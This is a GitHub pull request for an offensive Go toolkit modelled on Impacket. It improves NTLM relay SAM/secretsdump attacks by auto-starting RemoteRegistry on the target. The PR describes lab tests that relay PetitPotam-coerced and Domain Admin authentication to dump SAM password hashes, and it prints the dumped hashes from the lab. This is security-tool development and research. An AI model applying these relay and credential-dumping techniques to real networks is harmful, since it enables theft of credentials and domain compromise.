Skip to content

relay: retire two known-issue bogeys (samdump ACCESS_DENIED and winreg PIPE_NOT_AVAILABLE)#19

Merged
psycep merged 1 commit intomainfrom
match-impacket-access-mask
Apr 24, 2026
Merged

relay: retire two known-issue bogeys (samdump ACCESS_DENIED and winreg PIPE_NOT_AVAILABLE)#19
psycep merged 1 commit intomainfrom
match-impacket-access-mask

Conversation

@psycep
Copy link
Copy Markdown
Collaborator

@psycep psycep commented Apr 24, 2026

Summary

Retires KNOWN_ISSUES #1 (relay samdump/secretsdump Registry ACCESS_DENIED) and KNOWN_ISSUES #3 (intermittent PIPE_NOT_AVAILABLE on winreg) after verifying both live against GOAD.

KNOWN_ISSUES #1 — not actually a bug

The entry described BaseRegOpenKey(SYSTEM\Select) failed: 0x00000005 during relay samdump and implied gopacket was silently dropping privilege somewhere. Turns out: the relay transport works fine. The symptom is just "relayed principal doesn't have admin on the target".

Verified against GOAD sevenkingdoms with three controlled tests:

Test Result
PetitPotam coerces WINTERFELL$ (DC machine account), relay to srv02 ACCESS_DENIED (as documented)
Direct NORTH\administrator against srv02 Dumps cleanly
cmd /c net use \\relay\IPC$ /user:north\eddard.stark (Domain Admin) on dc02, relay to srv02 Dumps cleanly via relay — SAM hashes extracted end-to-end

So the precondition is identical to Impacket's ntlmrelayx -attack samdump: the relayed principal must have admin rights on the target. The entry is rewritten to state that plainly and flag the common PetitPotam pitfall (DC machine accounts aren't admin on member servers).

Small alignment-with-Impacket change while there: BaseRegOpenKey for the boot-key subkeys now requests MAXIMUM_ALLOWED instead of KEY_READ, matching rrp.hBaseRegOpenKey's default in Impacket. Doesn't fix the ACCESS_DENIED on a no-admin token, but reduces the surface for partial-access edge cases.

KNOWN_ISSUES #3 — fixed

The relay path was opening the winreg pipe without first ensuring RemoteRegistry is running, so a stopped-or-disabled service produced STATUS_PIPE_NOT_AVAILABLE and the attack failed at step 1. The standalone tools/secretsdump already handles this (open svcctl, start service, run attack, restore on exit); the relay path didn't.

Factored the "ensure started on entry / restore on exit" flow into pkg/relay/remoteregistry.go and wired it into both relay samdump and secretsdump attacks. Failures to manage the service log as warnings rather than returning errors: if the relayed token lacks SERVICE_* access, the attack still tries the winreg open and often succeeds if the service happens to be running.

Verified live: set srv02 RemoteRegistry to Stopped+Manual, relayed eddard.stark via net use:

[+] Relay successful: north.sevenkingdoms.local\eddard.stark
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xd7efaab1c41ab132c3583b4b89791070
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:dbd13e1c4e338284ac4e9874f7de6ef4:::
Guest:501:...:31d6cfe0d16ae931b73c59d7e0c089c0:::
vagrant:1000:...:b6032b3fc0a864218956106d909c7fb6:::
[*] Cleanup complete

Known cosmetic wart: the cleanup's attempt to stop the service after the dump gets STATUS_OBJECT_NAME_NOT_FOUND on the follow-up svcctl pipe open, because the SMB session is being torn down by the attack's own cleanup path. The service's start-type is preserved correctly (e.g., Manual stays Manual); only its current Running state isn't reverted back to Stopped. Noted in the commit body as a minor follow-up rather than blocking the fix.

Test plan

  • go build ./... clean
  • go vet ./... clean
  • go test ./... passes
  • Live test: WINTERFELL$ (non-admin principal) relay samdump against srv02 → still gets documented ACCESS_DENIED (expected, now accurately documented)
  • Live test: Domain Admin relay samdump against srv02 with RemoteRegistry Stopped → auto-starts service, dumps SAM hashes, SAM output byte-identical to direct-path dump
  • Live test: Direct NORTH\administrator samdump against srv02 → dumps cleanly (baseline, unchanged behavior)

Follow-up (not in this PR)

  • The post-attack service-stop cleanup races with the SMB session teardown. Fix would be to move the restoreRemoteRegistryState call earlier in the attack flow (before closing the session) rather than deferring to after the whole attack. Minor, no state corruption.

…g PIPE_NOT_AVAILABLE)

Two entries in KNOWN_ISSUES.md described the relay samdump/secretsdump
attacks as broken in ways they aren't, or fixable in ways we hadn't
tried. Verified both live against GOAD and retired them.

KNOWN_ISSUES #1 ("SMB Relay Registry Access Denied")

Reproduced by coercing WINTERFELL$ via PetitPotam to relay-samdump
against srv02: BaseRegOpenKey(SYSTEM\Select) returns 0x00000005 as
documented. Then reproduced the documented "workaround works" direction
with NORTH\administrator direct auth (dumps cleanly). Then the test
the entry never tried: relayed a user with admin on the target via
cmd /c net use \\relay\IPC$ /user:north\eddard.stark (Domain Admin) on
dc02, watched it flow through our relay to srv02. Result: dumped
Administrator, Guest, DefaultAccount, WDAGUtilityAccount, vagrant SAM
hashes cleanly.

So the relay transport does not drop privilege. The symptom the entry
captured was simply "relayed principal doesn't have admin on target",
which is the same precondition Impacket's ntlmrelayx samdump has, and
the same constraint a direct secretsdump has. Rewrote the entry to say
that plainly and flag the PetitPotam pitfall (DC$ machine accounts
aren't admin on member servers, so coercion-to-relay against member
servers with default inventory always hits this).

Small alignment-with-Impacket change while there: pkg/dcerpc/winreg/
remote.go and pkg/relay/secretsdump_attack.go now request
MAXIMUM_ALLOWED on the boot-key subkey opens instead of KEY_READ,
matching rrp.hBaseRegOpenKey's default in Impacket. KEY_READ demands
the full read bundle; MAXIMUM_ALLOWED returns a handle with whatever
the token actually has. Doesn't fix the ACCESS_DENIED on a no-admin
token, but reduces the surface for partial-access edge cases.

KNOWN_ISSUES #3 ("Intermittent PIPE_NOT_AVAILABLE on winreg")

Same failure mode the standalone secretsdump handles already: if
RemoteRegistry is stopped or disabled, opening the winreg named pipe
fails with STATUS_PIPE_NOT_AVAILABLE. Standalone tools/secretsdump
opens svcctl first, starts RemoteRegistry, runs the attack, then stops
the service (and restores SERVICE_DISABLED if it was disabled). The
relay path wasn't doing any of that.

Factored the "ensure started on entry / restore on exit" flow into
pkg/relay/remoteregistry.go and wired it into both relay samdump and
secretsdump attacks via TreeConnect("IPC$"), open svcctl, manage
RemoteRegistry, proceed with winreg. Failures to manage the service
are logged as warnings rather than returned as errors: if the relayed
token lacks SERVICE_* access, the attack still tries the winreg open
and often succeeds (if the service happens to be running already).

Verified live: set srv02 RemoteRegistry to Stopped+Manual, relayed
eddard.stark (Domain Admin via net use), watched:
  [*] Service RemoteRegistry is in stopped state
  [*] Starting service RemoteRegistry
  [*] Target system bootKey: 0x...
  [*] Dumping local SAM hashes
  Administrator:500:...:...:::  (etc)
  [*] Cleanup complete

Cleanup's attempt to stop the service after dumping gets a
STATUS_OBJECT_NAME_NOT_FOUND (pipe was closed by the post-attack
session teardown); that warning is cosmetic. The service's start-type
was preserved (Manual), only its current state stayed Running. Leaving
that as a minor follow-up rather than blocking the fix.

KNOWN_ISSUES.md renumbered to reflect the two retirements.
@psycep psycep merged commit 2a36bf7 into main Apr 24, 2026
2 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant